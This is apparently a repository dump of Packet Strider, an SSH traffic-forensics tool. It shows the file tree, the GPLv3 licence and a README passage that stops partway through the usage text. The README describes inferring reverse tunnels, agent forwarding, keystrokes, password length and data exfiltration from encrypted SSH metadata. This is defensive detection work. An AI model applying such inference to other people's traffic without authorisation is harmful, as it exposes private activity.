├── LICENSE
├── README.md
├── VERSION
├── images
├── packet-strider-ssh tcpdump.pcap stream 0 - Data Movement.png
├── packet-strider-ssh tcpdump.pcap stream 0 - Keystrokes.png
├── packet-strider-ssh tcpdump.pcap stream 0 - Packet Size Histogram.png
├── screen output.png
├── screen output_2.png
├── strider_200w.png
├── strider_400w.png
├── strider_640w.png
├── strider_800w.png
└── strider_orig.png
├── python
└── packetStrider-ssh.py
└── zeek
├── README.md
├── packetSrider_AgentForwarding.zeek
├── packetSrider_R_option.zeek
├── packetStrider_reverse_init.zeek
├── packetStrider_reverse_login_FAILED.zeek
└── packetStrider_reverse_login_SUCCESS.zeek
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Packet Strider (v0.21)
2 | 
3 |
4 |
5 | ## Summary
6 | packetStrider for SSH is a packet forensics tool that aims to provide valuable insight into the nature of SSH traffic, shining a light into the corners of SSH network traffic where golden nuggets of information previously lay in the dark.
7 |
8 | ## The problem that packet strider aims to help with (AKA Why?)
9 | SSH is obviously encrypted, yet valuable contextual information still exists within the network traffic that can go towards TTP's, intent, success and magnitude of actions on objectives. There may even exist situations where valuable context is not available or deleted from hosts, and so having an immutable and un-alterable passive network capture gives additional forensic context. "Packets don't lie".
10 |
11 | Separately to the forensic context, packet strider predictions could also be used in an active fashion, for example to shun/RST forward connections if a tunneled reverse SSH session initiation feature is predicted within, even before reverse authentication is offered.
12 |
13 | ## The broad techniques of packet strider (AKA How?)
14 | - Builds a rich feature set in the form of pandas dataframes. Over 40 features are engineered from packet metadata such as SSH Protocol message content, normalized statistics, direction, size, latency and sliding window features.
15 | - Strides through this feature set numerous times using sliding windows (Inspired by Convolutional Neural networks) to predict:
16 | - The use -R option in the forward session - this is what *enables* a Reverse connection to be made later in the session. This artefact is discovered very early in the session, directly after the forward session is authenticated. This is the first available warning sign that Reverse sessions are possible.
17 | - Initiation of the Reverse SSH session, this can occur at any point (early, or late) in the forward session. This is discovered prior to the Reverse session being authenticated successfully. This is the second warning sign, in that a reverse session has just been requested and setup for authentication.
18 | - Success and/or Failure of the Reverse session authentication. This is the third and final warning sign, after this point you know someone is on your host, inside a reverse session.
19 | - The use of the -A option (SSH Agent Forwarding), which enables the client to share it's local SSH private keys with the server. This functionality is generally considered dangerous.
20 | References:
21 | https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident
22 | https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/
23 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491
24 | - All predictions and metadata reports on a stream by stream basis.
25 | - Human or scripted, based on timing deltas.
26 | - Is the server already known to the client? or was it the first time a connection between the two has been made. This is done through packet deltas associated with known_hosts.
27 | - Whether a client certificate or password auth was used, and if length of password is 8 chars or less.
28 | - keystrokes, delete key press, enter key presses (cut and paste and up/down is YMMV/experimental).
29 | - exfil/infil data movement predictions in both Forward and Reverse sessions.
30 | - Works on interactive sessions as well as file based ssh file transfer apps (eg scp, putty, cyberduck etc).
31 |
32 | ## Getting started
33 | Python3 has been used, and you will need the following modules (YMMV on python2)
34 |
35 | `pip3 install pandas matplotlib pyshark`
36 |
37 | Usage:
38 |
39 | `python3 packetStrider-ssh.py -h`
40 |
41 | Output:
42 |
43 | ```
44 | usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
45 | [-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
46 | [-w WINDOW] [-s STRIDE]
47 |
48 | packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
49 | feature set from packet metadata such SSH Protocol message content, direction,
50 | size, latency and sequencing. It performs pattern matching on these features,
51 | using statistical analysis, and sliding windows to predict session initiation,
52 | keystrokes, human/script behavior, password length, use of client
53 | certificates, context into the historic nature of client/server contact and
54 | exfil/infil data movement characteristics in both Forward and Reverse sessions
55 |
56 | optional arguments:
57 | -h, --help show this help message and exit
58 | -f FILE, --file FILE pcap file to analyze
59 | -n NSTREAM, --nstream NSTREAM
60 | Perform analysis only on stream n
61 | -m, --metaonly Display stream metadata only
62 | -k, --keystrokes Perform keystroke prediction
63 | -p, --predict_plot Plot data movement and keystrokes
64 | -z ZOOM, --zoom ZOOM Narrow down/zoom the analysis and plotting to only
65 | packets "x-y"
66 | -d DIRECTION, --direction DIRECTION
67 | Perform analysis on SSH direction : "forward",
68 | "reverse" OR "both"
69 | -o OUTPUT_DIR, --output_dir OUTPUT_DIR
70 | Directory to output plots
71 | -w WINDOW, --window WINDOW
72 | Sliding window size, # of packets to side of window
